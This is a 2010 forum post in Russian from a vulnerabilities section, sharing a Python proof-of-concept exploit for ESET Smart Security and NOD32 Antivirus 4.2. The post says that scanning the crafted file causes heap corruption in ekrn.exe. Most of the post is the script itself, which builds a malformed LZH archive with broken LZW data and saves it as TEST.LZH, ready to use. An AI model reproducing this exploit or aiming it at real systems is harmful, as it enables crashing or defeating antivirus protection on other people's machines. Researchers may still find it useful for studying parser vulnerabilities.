Eset smart security, nod32 4.2 PoC exploit

Discussion in 'Уязвимости' started by Daedalus, 7 May 2010.

  1. Daedalus

    Daedalus Member

    Joined:
    18 Apr 2010
    Messages:
    28
    Likes Received:
    13
    Reputations:
    1
    подвержены отаке ESET Smart Security 4.2 и NOD32 Antivirus 4.2
    сканирование вредносного кода приводит к повреждению кучи в контексте ekrn.exe
    использование: python eset_lzh.py
    смотрим лог Dr. Watson (drwtsn32.log), если желаем знать чего то большего
    Code:
    data = (
    "\x21"             # Size of archived file header
    "\x83"             # Checksum of remaining bytes
    "-lh"              # ID
    "5"                # Compression method (LZW, Arithmetic Encoding)
    "-"                # ID
    "\x13\x00\x00\x00" # Compressed size
    "\x30\x00\x00\x00" # Uncompressed size
    "\xFB\x3A\x6C\x3B" # Original file date/time
    "\x20\x01"         # File attribute
    "\x08"             # File name length
    "TEST.TXT"         # File name
    "\xDC\x41\x4D\x00\x00\x00\x0B\x33\x6D\x66\x49\x5D" # !!! broken LZW compressed data
    "\x23\x08\x8A\x78\x00\x00\xC0\x81\xA5\xC0\xD7\x20" #
    )
     
    print "ESET Smart Security 4.2 and NOD32 Antivirus 4.2 (x32-x64) LZH File parsing PoC exploit"
    print "(c) 2010 eSage Lab"
    print "----------------------------"
     
    f = open("TEST.LZH", 'wb')
    f.write(data)
    f.close()
     
    print "TEST.LZH (%d bytes) created" % len(data)
    print "Now try to scan it with antivirus"
    
     
    #1 Daedalus, 7 May 2010
    Last edited: 7 May 2010
    3 people like this.